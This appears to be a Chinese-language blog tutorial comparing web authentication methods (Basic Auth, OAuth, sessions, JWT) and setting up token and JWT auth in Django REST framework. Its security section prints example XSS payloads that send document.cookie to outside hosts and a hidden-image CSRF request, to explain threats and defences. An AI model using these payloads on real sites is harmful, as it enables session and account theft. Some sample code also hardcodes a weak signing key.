zhumengke

首先要明白,认证和鉴权是不同的。认证是判定用户的合法性,鉴权是判定用户的权限级别是否可执行后续操作。这里所讲的仅含认证。认证有几种方法:

HTTP Basic Auth

这是http协议中所带带基本认证,是一种简单为上的认证方式。原理是在每个请求的header中添加用户名和密码的字符串(格式为“username:password”,用base64编码)。

这种方式相当于将“用户名:密码”绑定为一个开放式证书,这会有几个问题:

  • 每次请求都需要用户名密码,如果此连接未使用SSL/TLS,或加密被破解,用户名密码基本就暴露了;
  • 无法注销用户的登录状态;
  • 证书不会过期,除非修改密码。

总体来说,这种方法的特点就是,简单但不安全。

OAuth

OAuth(开放授权)是一个开放的授权标准,允许用户让第三方应用访问该用户在某一web服务上存储的私密的资源(如照片,视频,联系人列表),而无需将用户名和密码提供给第三方应用。

OAuth允许用户提供一个令牌,而不是用户名和密码来访问他们存放在特定服务提供者的数据。每一个令牌授权一个特定的第三方系统(例如,视频编辑网站)在特定的时段(例如,接下来的2小时内)内访问特定的资源(例如仅仅是某一相册中的视频)。这样,OAuth让用户可以授权第三方网站访问他们存储在另外服务提供者的某些特定信息,而非所有内容
下面是OAuth2.0的流程:

这种基于OAuth的认证机制适用于个人消费者类的互联网产品,如社交类APP等应用,但是不太适合拥有自有认证权限管理的企业应用;

cookie-session机制

  • 用户浏览器访问web网站,输入用户名密码
  • 服务器校验用户名密码通过之后,生成sessonid并把sessionid和用户信息映射起来保存在服务器
  • 服务器将生成的sessionid返回给用户浏览器,浏览器将sessionid存入cookie
  • 此后用户对该网站发起的其他请求都将带上cookie中保存的sessionid
  • 服务端把用户传过来的sessionid和保存在服务器的sessionid做对比,如果服务器中有该sessionid则代表身份验证成功

这种方式存在以下几个问题:

  • 代码安全机制不完善,可能存在CSRF漏洞
  • 服务端需要保存sessionid与客户端传来的sessionid做对比,当服务器为集群多机的情况下,需要复制sessionid,在多台集群机器之间共享
  • 如果需要单点登入,则须将sessionid存入redis等外部存储保证每台机器每个系统都能访问到,如果外部存储服务宕机,则单点登入失效

Token Auth

Token Auth的优点

Token机制相对于Cookie机制又有什么好处呢?

  • 支持跨域访问: Cookie是不允许垮域访问的,这一点对Token机制是不存在的,前提是传输的用户认证信息通过HTTP头传输.
  • 无状态(也称:服务端可扩展行):Token机制在服务端不需要存储session信息,因为Token 自身包含了所有登录用户的信息,只需要在客户端的cookie或本地介质存储状态信息.
  • 更适用CDN: 可以通过内容分发网络请求你服务端的所有资料(如:javascript,HTML,图片等),而你的服务端只要提供API即可.
  • 去耦: 不需要绑定到一个特定的身份验证方案。Token可以在任何地方生成,只要在你的API被调用的时候,你可以进行Token生成调用即可.
  • 更适用于移动应用: 当你的客户端是一个原生平台(iOS, Android,Windows 8等)时,Cookie是不被支持的(你需要通过Cookie容器进行处理),这时采用Token认证机制就会简单得多。
  • CSRF:因为不再依赖于Cookie,所以你就不需要考虑对CSRF(跨站请求伪造)的防范。
  • 性能: 一次网络往返时间(通过数据库查询session信息)总比做一次HMACSHA256计算 的Token验证和解析要费时得多.
  • 不需要为登录页面做特殊处理: 如果你使用Protractor 做功能测试的时候,不再需要为登录页面做特殊处理.
  • 基于标准化:你的API可以采用标准化的 JSON Web Token (JWT). 这个标准已经存在多个后端库(.NET, Ruby, Java,Python, PHP)和多家公司的支持(如:Firebase,Google, Microsoft)

对Token认证的五点认识

对Token认证机制有5点直接注意的地方:

  • 一个Token就是一些信息的集合;
  • 在Token中包含足够多的信息,以便在后续请求中减少查询数据库的几率;
  • 服务端需要对cookie和HTTP Authrorization Header进行Token信息的检查;
  • 基于上一点,你可以用一套token认证代码来面对浏览器类客户端和非浏览器类客户端;
  • 因为token是被签名的,所以我们可以认为一个可以解码认证通过的token是由我们系统发放的,其中带的信息是合法有效的;

和Session方式存储id的差异

Session方式存储用户id的最大弊病在于要占用大量服务器内存,对于较大型应用而言可能还要保存许多的状态。一般而言,大型应用还需要借助一些KV数据库和一系列缓存机制来实现Session的存储。

而JWT方式将用户状态分散到了客户端中,可以明显减轻服务端的内存压力。除了用户id之外,还可以存储其他的和用户相关的信息,例如该用户是否是管理员、用户所在的分桶(见[《你所应该知道的A/B测试基础》一文](/2015/08/27/introduction-to-ab-testing/)等。

虽说JWT方式让服务器有一些计算压力(例如加密、编码和解码),但是这些压力相比磁盘I/O而言或许是半斤八两。具体是否采用,需要在不同场景下用数据说话。

单点登录

Session方式来存储用户id,一开始用户的Session只会存储在一台服务器上。对于有多个子域名的站点,每个子域名至少会对应一台不同的服务器,例如:

所以如果要实现在login.taobao.com登录后,在其他的子域名下依然可以取到Session,这要求我们在多台服务器上同步Session。

使用JWT的方式则没有这个问题的存在,因为用户的状态已经被传送到了客户端。因此,我们只需要将含有JWT的Cookie的domain设置为顶级域名即可,例如

Set-Cookie: jwt=lll.zzz.xxx; HttpOnly; max-age=980000; domain=www.taobao.com
注意domain必须设置为一个点加顶级域名,即.taobao.com。这样,taobao.com和*.taobao.com就都可以接受到这个Cookie,并获取JWT了。

JWT(Json Web Token认证机制)

Json web token (JWT), 根据官网的定义,是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。

JWT 特点

  • 体积小,因而传输速度快

  • 传输方式多样,可以通过URL/POST参数/HTTP头部等方式传输

  • 严格的结构化。它自身(在 payload 中)就包含了所有与用户相关的验证消息,如用户可访问路由、访问有效期等信息,服务器无需再去连接数据库验证信息的有效性,并且 payload 支持为你的应用而定制化。

  • 支持跨域验证,可以应用于单点登录。

JWT原理

JWT组成

 

JWT是Auth0提出的通过对JSON进行加密签名来实现授权验证的方案,编码之后的JWT看起来是这样的一串字符:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ

由 . 分为三段,通过解码可以得到:

1. 头部(Header)

// 包括类别(typ)、加密算法(alg);
{
  "alg": "HS256",
  "typ": "JWT"
}

jwt的头部包含两部分信息:

  • 声明类型,这里是jwt

  • 声明加密的算法 通常直接使用 HMAC SHA256

然后将头部进行base64加密(该加密是可以对称解密的),构成了第一部分。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

2. 载荷(payload)

载荷就是存放有效信息的地方。这些有效信息包含三个部分:

  • 标准中注册声明

  • 公共的声名

  • 私有的声明

公共的声明 :
公共的声明可以添加任何的信息,一般添加用户的相关信息或其他业务需要的必要信息.但不建议添加敏感信息,因为该部分在客户端可解密。

私有的声明 :
私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息,因为base64是对称解密的,意味着该部分信息可以归类为明文信息。

下面是一个例子:

// 包括需要传递的用户信息;
{ "iss": "Online JWT Builder", 
  "iat": 1416797419, 
  "exp": 1448333419, 
  "aud": "www.gusibi.com", 
  "sub": "uid", 
  "nickname": "goodspeed", 
  "username": "goodspeed", 
  "scopes": [ "admin", "user" ] 
}
  • iss: 该JWT的签发者,是否使用是可选的;

  • sub: 该JWT所面向的用户,是否使用是可选的;

  • aud: 接收该JWT的一方,是否使用是可选的;

  • exp(expires): 什么时候过期,这里是一个Unix时间戳,是否使用是可选的;

  • iat(issued at): 在什么时候签发的(UNIX时间),是否使用是可选的;

其他还有:

  • nbf (Not Before):如果当前时间在nbf里的时间之前,则Token不被接受;一般都会留一些余地,比如几分钟;,是否使用是可选的;

  • jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。

将上面的JSON对象进行base64编码可以得到下面的字符串。这个字符串我们将它称作JWT的Payload(载荷)。

eyJpc3MiOiJPbmxpbmUgSldUIEJ1aWxkZXIiLCJpYXQiOjE0MTY3OTc0MTksImV4cCI6MTQ0ODMzMzQxOSwiYXVkIjoid3d3Lmd1c2liaS5jb20iLCJzdWIiOiIwMTIzNDU2Nzg5Iiwibmlja25hbWUiOiJnb29kc3BlZWQiLCJ1c2VybmFtZSI6Imdvb2RzcGVlZCIsInNjb3BlcyI6WyJhZG1pbiIsInVzZXIiXX0

注意: 信息会暴露,由于这里用的是可逆的base64 编码,所以第二部分的数据实际上是明文的。我们应该避免在这里存放不能公开的隐私信息。

3. 签名(signature)

// 根据alg算法与私有秘钥进行加密得到的签名字串;
// 这一段是最重要的敏感信息,只能在服务端解密;
HMACSHA256(  
    base64UrlEncode(header) + "." +
    base64UrlEncode(payload),
    SECREATE_KEY
)

jwt的第三部分是一个签证信息,这个签证信息由三部分组成:

  • header (base64后的)

  • payload (base64后的)

  • secret

将上面的两个编码后的字符串都用句号.连接在一起(头部在前),就形成了:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9

最后,我们将上面拼接完的字符串用HS256算法进行加密。在加密的时候,我们还需要提供一个密钥(secret)。如果我们用 secret 作为密钥的话,那么就可以得到我们加密后的内容:

pq5IDv-yaktw6XEa5GEv07SzS9ehe6AcVSdTj0Ini4o

将这三部分用.连接成一个完整的字符串,构成了最终的jwt:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJPbmxpbmUgSldUIEJ1aWxkZXIiLCJpYXQiOjE0MTY3OTc0MTksImV4cCI6MTQ0ODMzMzQxOSwiYXVkIjoid3d3Lmd1c2liaS5jb20iLCJzdWIiOiIwMTIzNDU2Nzg5Iiwibmlja25hbWUiOiJnb29kc3BlZWQiLCJ1c2VybmFtZSI6Imdvb2RzcGVlZCIsInNjb3BlcyI6WyJhZG1pbiIsInVzZXIiXX0.pq5IDv-yaktw6XEa5GEv07SzS9ehe6AcVSdTj0Ini4o

签名的目的:签名实际上是对头部以及载荷内容进行签名。所以,如果有人对头部以及载荷的内容解码之后进行修改,再进行编码的话,那么新的头部和载荷的签名和之前的签名就将是不一样的。而且,如果不知道服务器加密的时候用的密钥的话,得出来的签名也一定会是不一样的。
这样就能保证token不会被篡改。

token 生成好之后,接下来就可以用token来和服务器进行通讯了。

这里在第三步我们得到 JWT 之后,需要将JWT存放在 client,之后的每次需要认证的请求都要把JWT发送过来。(请求时可以放到 header 的 Authorization )

在退出登录/修改密码时怎样实现JWT Token失效?

原文地址:https://segmentfault.com/q/1010000010043871
问题1:未过期的token还是可以用
要是用户在多个设备登录了,而且本地保存了token。当一个地方丢弃token,但是这个token要是没有过期,那之前token还是可以用的。
我的解决方案是:当用户第一次登录成功后将token存到数据库,每次都对比传过来的token和该用户在数据库的token是否相同。

当是问题2:多个设备会出现死循环
如果我把token存到数据库,当用户退出登录或者修改密码,更新token。当用户下次拿着之前的token来认证时,找到该用户数据库存的token,两个对比一下,如果一样就通过,否则让用户登录。有一个问题,如果这样做,要是有两设备,就死循环了。一个设备登录了,token就会变,导致另一个去登录,然后这个token又失效了,成死循环了。

jwt好像没有提供怎么注销token?请问有什么解决办法吗?TKS!

其实要完美地失效JWT是没办法做到的。
"Actually, JWT serves a different purpose than a session and it is not possible to forcefully delete or invalidate an existing token."
这篇文章写得比较简单易懂:https://medium.com/devgorilla...

有以下几个方法可以做到失效 JWT token:

  1. 将 token 存入 DB(如 Redis)中,失效则删除;但增加了一个每次校验时候都要先从 DB 中查询 token 是否存在的步骤,而且违背了 JWT 的无状态原则(这不就和 session一样了么?)。
  2. 维护一个 token 黑名单,失效则加入黑名单中。
  3. 在 JWT 中增加一个版本号字段,失效则改变该版本号。
  4. 在服务端设置加密的 key 时,为每个用户生成唯一的 key,失效则改变该 key。

JWT 使用场景

JWT的主要优势在于使用无状态、可扩展的方式处理应用中的用户会话。服务端可以通过内嵌的声明信息,很容易地获取用户的会话信息,而不需要去访问用户或会话的数据库。在一个分布式的面向服务的框架中,这一点非常有用。

但是,如果系统中需要使用黑名单实现长期有效的token刷新机制,这种无状态的优势就不明显了。

优点

  • 快速开发
  • 不需要cookie
  • JSON在移动端的广泛应用
  • 不依赖于社交登录
  • 相对简单的概念理解

缺点

  • Token有长度限制
  • Token不能撤销
  • 需要token有失效时间限制(exp)

验证过程如下:

  • 用户访问网站,输入账号密码登入
  • 服务器校验通过,生成JWT,不保存JWT,直接返回给客户端
  • 客户端将JWT存入cookie或者localStorage
  • 此后用户发起的请求,都将使用js从cookie或者localStorage读取JWT放在http请求的header中,发给服务端
  • 服务端获取header中的JWT,用base64URL算法解码各部分内容,并在服务端用同样的秘钥和算法生成signature,与传过来的signature对比,验证JWT是否合法

基于JWT的Token认证的安全问题

确保验证过程的安全性

如何保证用户名/密码验证过程的安全性;因为在验证过程中,需要用户输入用户名和密码,在这一过程中,用户名、密码等敏感信息需要在网络中传输。因此,在这个过程中建议采用HTTPS,通过SSL加密传输,以确保通道的安全性。

CSRF攻击

  • 用户访问A网站(http://www.aaa.com),输入用户名密码
  • 服务器验证通过,生成sessionid并返回给客户端存入cookie
  • 用户在没有退出或者没有关闭A网站,cookie还未过期的情况下访问恶意网站B
  • B网站返回含有如下代码的html:
//假设A网站注销用户的url为:https://www.aaa.com/delete_user
<img src="https://www.aaa.com/delete_user" style="display:none;"/>

 

  • 浏览器发起对A网站的请求,并带上A网站的cookie,注销了用户

使用JWT验证,由于服务端不保存用户信息,不用做sessonid复制,这样集群水平扩展就变得容易了。同时用户发请求给服务端时,前端使用JS将JWT放在header中手动发送给服务端,服务端验证header中的JWT字段,而非cookie信息,这样就避免了CSRF漏洞攻击。

不过,无论是cookie-session还是JWT,都存在被XSS攻击盗取的风险:

XSS攻击,跨站脚本攻击(Cross Site Scripting)

跨站脚本攻击,其基本原理同sql注入攻击类似。页面上用来输入信息内容的输入框,被输入了可执行代码。假如某论坛网站有以下输入域用来输入帖子内容

发帖内容:<textarea rows="3" cols="20"></textarea>

而恶意用户在textarea发帖内容中填入诸如以下的js脚本:

今天很开心,学会了JWT

<script>
$.ajax({
  type: "post",
  url: "https://www.abc.com/getcookie",
  data: {cookie : document.cookie}
});
</script>

那么当其他用户访问该帖子的时候,用户的cookie就会被发送到abc域名的服务器上了。

浏览器可以做很多事情,这也给浏览器端的安全带来很多隐患,最常见的如:XSS攻击:;如果有个页面的输入框中允许输入任何信息,且没有做防范措施,如果我们输入下面这段代码:

<img src="x" /> a.src=\'https://hackmeplz.com/yourCookies.png/?cookies=’+document.cookie;return a}())"

这段代码会盗取你域中的所有cookie信息,并发送到 hackmeplz.com;那么我们如何来防范这种攻击呢?

如何防范XSS Attacks

  • XSS攻击代码过滤
    移除任何会导致浏览器做非预期执行的代码,这个可以采用一些库来实现(如:js下的js-xss,JAVA下的XSS HTMLFilter,PHP下的TWIG);如果你是将用户提交的字符串存储到数据库的话(也针对SQL注入攻击),你需要在前端和服务端分别做过滤;在实际使用中,我们可以使FireCookie查看我们设置的Cookie 是否是HttpOnly;
  • 为了避免xss攻击,客户端和服务端都应该对提交数据进行xss攻击转义。

如何防范Replay Attacks

所谓重放攻击就是攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程。比如在浏览器端通过用户名/密码验证获得签名的Token被木马窃取。即使用户登出了系统,黑客还是可以利用窃取的Token模拟正常请求,而服务器端对此完全不知道,以为JWT机制是无状态的。
针对这种情况,有几种常用做法可以用作参考:
1、时间戳 +共享秘钥
这种方案,客户端和服务端都需要知道:

  • User ID
  • 共享秘钥

客户端

auth_header = JWT.encode({
  user_id: 123,
  iat: Time.now.to_i,      # 指定token发布时间
  exp: Time.now.to_i + 2   # 指定token过期时间为2秒后,2秒时间足够一次HTTP请求,同时在一定程度确保上一次token过期,减少replay attack的概率;
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)

服务端

class ApiController < ActionController::Base
  attr_reader :current_user
  before_action :set_current_user_from_jwt_token

  def set_current_user_from_jwt_token
    # Step 1:解码JWT,并获取User ID,这个时候不对Token签名进行检查
    # the signature. Note JWT tokens are *not* encrypted, but signed.
    payload = JWT.decode(request.authorization, nil, false)

    # Step 2: 检查该用户是否存在于数据库
    @current_user = User.find(payload[\'user_id\'])
    
    # Step 3: 检查Token签名是否正确.
    JWT.decode(request.authorization, current_user.api_secret)
    
    # Step 4: 检查 "iat" 和"exp" 以确保这个Token是在2秒内创建的.
    now = Time.now.to_i
    if payload[\'iat\'] > now || payload[\'exp\'] < now
      # 如果过期则返回401
    end
  rescue JWT::DecodeError
    # 返回 401
  end
end

2、时间戳 +共享秘钥+黑名单 (类似Zendesk的做法)
客户端

auth_header = JWT.encode({
  user_id: 123,
  jti: rand(2 << 64).to_s,  # 通过jti确保一个token只使用一次,防止replace attack
  iat: Time.now.to_i,       # 指定token发布时间.
  exp: Time.now.to_i + 2    # 指定token过期时间为2秒后
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)

服务端

def set_current_user_from_jwt_token
  # 前面的步骤参考上面
  payload = JWT.decode(request.authorization, nil, false)
  @current_user = User.find(payload[\'user_id\'])
  JWT.decode(request.authorization, current_user.api_secret)
  now = Time.now.to_i
  if payload[\'iat\'] > now || payload[\'exp\'] < now
    # 返回401
  end
  
  # 下面将检查确保这个JWT之前没有被使用过
  # 使用Redis的原子操作
  
  # The redis 的键: <user id>:<one-time use token>
  key = "#{payload[\'user_id\']}:#{payload[\'jti\']}"
  
  # 看键值是否在redis中已经存在. 如果不存在则返回nil. 如果存在则返回“1”. .
  if redis.getset(key, "1")
    # 返回401
    # 
  end
  
  # 进行键值过期检查
  redis.expireat(key, payload[\'exp\'] + 2)
end

如何防范MITM (Man-In-The-Middle)Attacks

所谓MITM攻击,就是在客户端和服务器端的交互过程被监听,比如像可以上网的咖啡馆的WIFI被监听或者被黑的代理服务器等;
针对这类攻击的办法使用HTTPS,包括针对分布式应用,在服务间传输像cookie这类敏感信息时也采用HTTPS;所以云计算在本质上是不安全的。


 

Django REST framework 三种认证方式:

基于django-rest-framework的登陆认证方式常用的大体可分为四种: 
1. BasicAuthentication:账号密码登陆验证 
2. SessionAuthentication:基于session机制会话验证 
3. TokenAuthentication: 基于令牌的验证 
4. JSONWebTokenAuthentication:基于Json-Web-Token的验证

REST_FRAMEWORK = {
    # 异常处理
    \'EXCEPTION_HANDLER\': \'meiduo_mall.utils.exceptions.exception_handler\',
 
    \'DEFAULT_AUTHENTICATION_CLASSES\': (
        \'rest_framework_jwt.authentication.JSONWebTokenAuthentication\', #第一种jwt方式
        \'rest_framework.authentication.SessionAuthentication\', #第二种session方式
        \'rest_framework.authentication.BasicAuthentication\', #第三种Django的基本方式
    ),
}

三种权限的认证流程

认证流程中若请求头中带自定义请求头:Authorization:JWT *********** 就会进入jwt的认证方式,若认证错误会报错返回前端(报错内容:Invalid Authorization header. Credentials string should not contain spaces.)。

Authorization:JWT eyJ0eXAiOiJKV1QiLCJhbGciOiJIbzI1NiJ9.eyJ1b2VyX2lkIjo3LCJleHAiOjE1MzIwNzc0MTgsInVzZXJuYW1lIjoicHl0aG9uIiwiZW1haWwiOiI1Nzb4OTEyMTAyIn0.RPo0tlz8v5Tqak9rXlWiIBoDTvEx_XClTwblWHmhU6g 

若请求头不带Authorization:JWT *********** (红色字体部分必须一致,不一致相当于没带。)会判断是否带session_id 若不带session_id 进入base认证(这次我选择的是jwt认证和base认证)。base认证通过user为认证过的用户,base认证不通过user为匿名用户AnonymousUser(base认证应该是rest直接调用了Django的base认证);

TokenAuthentication 认证方式

settings的配置

1 INSTALLED_APPS = [
2     .....
3     .....
4     \'rest_framework.authtoken\'
5 ]

因为token认证的方式 ,会在数据库中生成一个token表,存储token值,并与user关联,需要把\'rest_framework.authtoken\',写入app中

自定义一个token认证方式
django restframework 自带有一个TokenAuthentication的认证方式,不过自带模块生成的token没有过期时间.
首先,可以仿照TokenAuthentication,自定义一个判断过期时间的认证方式,
代码如下:

import pytz
from rest_framework.authentication import SessionAuthentication
from django.utils.translation import ugettext_lazy as _
from django.core.cache import cache
import datetime
from rest_framework.authentication import BaseAuthentication,TokenAuthentication
from rest_framework import exceptions
from rest_framework.authtoken.models import Token
from rest_framework import HTTP_HEADER_ENCODING
 
# 获取请求头里的token信息
def get_authorization_header(request):
    """
    Return request\'s \'Authorization:\' header, as a bytestring.
    Hide some test client ickyness where the header can be unicode.
    """
    auth = request.META.get(\'HTTP_AUTHORIZATION\', b\'\')
    if isinstance(auth, type(\'\')):
        # Work around django test client oddness
        auth = auth.encode(HTTP_HEADER_ENCODING)
    return auth
 
# 自定义的ExpiringTokenAuthentication认证方式
class ExpiringTokenAuthentication(BaseAuthentication):
    model = Token
    def authenticate(self, request):
        auth = get_authorization_header(request)
 
        if not auth:
            return None
        try:
            token = auth.decode()
        except UnicodeError:
            msg = _(\'Invalid token header. Token string should not contain invalid characters.\')
            raise exceptions.AuthenticationFailed(msg)
        return self.authenticate_credentials(token)
 
    def authenticate_credentials(self, key):
        # 增加了缓存机制
      # 首先先从缓存中查找
        token_cache = \'token_\' + key
        cache_user = cache.get(token_cache)
        if cache_user:
            return (cache_user.user, cache_user)  # 首先查看token是否在缓存中,若存在,直接返回用户
        try:
            token = self.model.objects.get(key=key[6:])
 
        except self.model.DoesNotExist:
            raise exceptions.AuthenticationFailed(\'认证失败\')
 
        if not token.user.is_active:
            raise exceptions.AuthenticationFailed(\'用户被禁止\')
 
        utc_now = datetime.datetime.utcnow()
 
        if  (utc_now.replace(tzinfo=pytz.timezone("UTC")) - token.created.replace(tzinfo=pytz.timezone("UTC"))).days > 14:  # 设定存活时间 14天
            raise exceptions.AuthenticationFailed(\'认证信息过期\')
 
        if token:
            token_cache = \'token_\' + key
            cache.set(token_cache, token, 24 * 7 * 60 * 60)  # 添加 token_xxx 到缓存
        return (token.user, token)
 
    def authenticate_header(self, request):
        return \'Token\'

基本上是仿照TokenAuthentication源码写的,不过加了过期时间判断,以及缓存机制.

-登陆视图函数

from rest_framework.authtoken.models import Token
 
# 生成用户的token值
token = Token.objects.create(user=user)
token_value = token.key

下面是我写的登陆视图函数

class Login(APIView):
    def post(self, request):
        receive = request.data
        if request.method == \'POST\':
            username = receive[\'username\']
            password = receive[\'password\']
            user = auth.authenticate(username=username, password=password)
            if user is not None and user.is_active:
                # 更新token值
                token = Token.objects.get(user=user)
                token.delete()
                token = Token.objects.create(user=user)
                user_info = UserProfile.objects.get(belong_to=user)
                serializer = UserProfileSerializer(user_info)
 
                response = serializer.data
                response[\'token\'] = token.key
                get_user_dict(user, response)
                return Response({
                    "result": 1,
                    "user_info": response,  # response contain user_info and token
                })
            else:
                try:
                    User.objects.get(username=username)
                    cause = \'密码错误\'
                except User.DoesNotExist:
                    cause = \'用户不存在\'
                return Response({
                    "result": 0,
                    "cause": cause,
                })

文章发布视图
只有登陆的用户才能发布文章

class Post(APIView):
    # 认证方式为我们自定义的认证方式
    authentication_classes = (ExpiringTokenAuthentication,)
 
    # 写文章的接口
    def post(self, request):
        user = request.user
        request.data[\'owner\'] = user.profile.id
        serializer = PostsSerializer(data=request.data)
        if serializer.is_valid():
            post = serializer.save()
            response = {"res": "1", "info": serializer.data}
        else:
            response = {"res": "0", "error": serializer.errors}
        return Response(response)

python 使用JWT实践

我基本是使用 python 作为服务端语言,我们可以使用 pyjwt:https://github.com/jpadilla/pyjwt/

使用比较方便,下边是我在应用中使用的例子:

import jwt
import time

# 使用 sanic 作为restful api 框架 
def create_token(request):
    grant_type = request.json.get(\'grant_type\')
    username = request.json[\'username\']
    password = request.json[\'password\']
    if grant_type == \'password\':
        account = verify_password(username, password)
    elif grant_type == \'wxapp\':
        account = verify_wxapp(username, password)
    if not account:
        return {}
    payload = {
        "iss": "gusibi.com",
         "iat": int(time.time()),
         "exp": int(time.time()) + 86400 * 7,
         "aud": "www.gusibi.com",
         "sub": account[\'_id\'],
         "username": account[\'username\'],
         "scopes": [\'open\']
    }
    token = jwt.encode(payload, \'secret\', algorithm=\'HS256\')
    return True, {\'access_token\': token, \'account_id\': account[\'_id\']}
    

def verify_bearer_token(token):
    #  如果在生成token的时候使用了aud参数,那么校验的时候也需要添加此参数
    payload = jwt.decode(token, \'secret\', audience=\'www.gusibi.com\', algorithms=[\'HS256\'])
    if payload:
        return True, token
    return False, token

Django 案例

Django 要兼容 session 认证的方式,还需要同时支持 JWT,并且两种验证需要共用同一套权限系统,该如何处理呢?我们可以参考 Django 的解决方案:装饰器,例如用来检查用户是否登录的login_required和用来检查用户是否有权限的permission_required两个装饰器,我们可以自己实现一个装饰器,检查用户的认证模式,同时认证完成后验证用户是否有权限操作

于是一个auth_permission_required的装饰器产生了:

from django.conf import settings
from django.http import JsonResponse
from django.contrib.auth import get_user_model
from django.core.exceptions import PermissionDenied

UserModel = get_user_model()


def auth_permission_required(perm):
    def decorator(view_func):
        def _wrapped_view(request, *args, **kwargs):
            # 格式化权限
            perms = (perm,) if isinstance(perm, str) else perm

            if request.user.is_authenticated:
                # 正常登录用户判断是否有权限
                if not request.user.has_perms(perms):
                    raise PermissionDenied
            else:
                try:
                    auth = request.META.get(\'HTTP_AUTHORIZATION\').split()
                except AttributeError:
                    return JsonResponse({"code": 401, "message": "No authenticate header"})

                # 用户通过 API 获取数据验证流程
                if auth[0].lower() == \'token\':
                    try:
                        dict = jwt.decode(auth[1], settings.SECRET_KEY, algorithms=[\'HS256\'])
                        username = dict.get(\'data\').get(\'username\')
                    except jwt.ExpiredSignatureError:
                        return JsonResponse({"status_code": 401, "message": "Token expired"})
                    except jwt.InvalidTokenError:
                        return JsonResponse({"status_code": 401, "message": "Invalid token"})
                    except Exception as e:
                        return JsonResponse({"status_code": 401, "message": "Can not get user object"})

                    try:
                        user = UserModel.objects.get(username=username)
                    except UserModel.DoesNotExist:
                        return JsonResponse({"status_code": 401, "message": "User Does not exist"})

                    if not user.is_active:
                        return JsonResponse({"status_code": 401, "message": "User inactive or deleted"})

                    # Token 登录的用户判断是否有权限
                    if not user.has_perms(perms):
                        return JsonResponse({"status_code": 403, "message": "PermissionDenied"})
                else:
                    return JsonResponse({"status_code": 401, "message": "Not support auth type"})

            return view_func(request, *args, **kwargs)

        return _wrapped_view

    return decorator

 

在 view 使用时就可以用这个装饰器来代替原本的login_requiredpermission_required装饰器了

@auth_permission_required(\'account.select_user\')
def user(request):
    if request.method == \'GET\':
        _jsondata = {
            "user": "ops-coffee",
            "site": "https://ops-coffee.cn"
        }
        
        return JsonResponse({"state": 1, "message": _jsondata})
    else:
        return JsonResponse({"state": 0, "message": "Request method \'POST\' not supported"})

 

django-rest-framework_jwt的使用

安装rest-frame-work—jwt

pip install djangorestframework-jwt

配置settings文件的认证选择

REST_FRAMEWORK = {
    # 配置默认的认证方式 base:账号密码验证  
    #session:session_id认证
    \'DEFAULT_AUTHENTICATION_CLASSES\': (
        # drf的这一阶段主要是做验证,middleware的auth主要是设置session和user到request对象
        # 默认的验证是按照验证列表从上到下的验证
        \'rest_framework.authentication.BasicAuthentication\',
        \'rest_framework.authentication.SessionAuthentication\',
        "rest_framework_jwt.authentication.JSONWebTokenAuthentication",
    )}

配置url(这里只针对做用户认证的)

from rest_framework_jwt.views import obtain_jwt_token
#...

urlpatterns = [
    # ...

    url(r\'^api-token-auth/\', obtain_jwt_token),
]

jwt在django-rest-framework中的实现原理

JWT实现的也是类似于session的一种会话保持机制,

登陆

用户在发起登陆请求的时候,相当于是给设定的”api-token-auth”这个url发起一个post请求,post的是两对键分别为”username”和”password”的json数据,url响应obtainJsonWebToken这个视图类,在这个视图内部定义了post方法去接受并处理数据。

这个视图类做了以下事情: 
1. 序列化,将post过来的json数据转换成原生的python数据类型,序列化生成了JWT的token,并返回了user与token关联立的dict。

    return {
        \'token\': jwt_encode_handler(payload),
        \'user\': user
    }

2.序列化验证,并取出user和token值,生成响应体数据,然后实例化生成Response响应体对象:

    if serializer.is_valid():
        user = serializer.object.get(\'user\') or request.user
        token = serializer.object.get(\'token\')
        response_data = jwt_response_payload_handler(token, user, request)
        response = Response(response_data)

前端在接受到这个响应后,会将username及token加入到cookie中,这样就完成了登陆的全过程

验证

登陆过的用户,在访问api的时候,都会进行一次token的验证,会话机制就是这样的一个原理,保持联系的最基本的原理就是每次交互都进行一次验证。

在django中就会涉及到一个中间件系统,首先会依次响应django中间件,全局拦截请求,将前端发过来的request中的用户加入到django的request体中,以及将token加入到request的META体中(django对api接口过来的request进行了一次重新的封装,drf对django的request进行了再一次封装,都是基于中间件系统)

然后响应view的中间件,将token和user从request中取出,进行jwt_token的解密验证。

那么这样就实现了JWT的验证过程。

django 中间件系统

django项目的settings文件中一般会配置一个middleware的列表,也就是中间件列表,如下:

MIDDLEWARE = [
    \'corsheaders.middleware.CorsMiddleware\',
    \'django.middleware.security.SecurityMiddleware\',
    # 拦截请求,设置session到request
    \'django.contrib.sessions.middleware.SessionMiddleware\',
    \'django.middleware.common.CommonMiddleware\',
    \'django.middleware.csrf.CsrfViewMiddleware\',
    # 再次拦截请求,判断是否有session(上面已加入),设置user到request
    \'django.contrib.auth.middleware.AuthenticationMiddleware\',
    \'django.contrib.messages.middleware.MessageMiddleware\',
    \'django.middleware.clickjacking.XFrameOptionsMiddleware\',]

一般而言,中间件就是一个类,继承自MiddlewareMixin,比如说SessionMiddleware:

class SessionMiddleware(MiddlewareMixin):
    def __init__(self, get_response=None):
        self.get_response = get_response
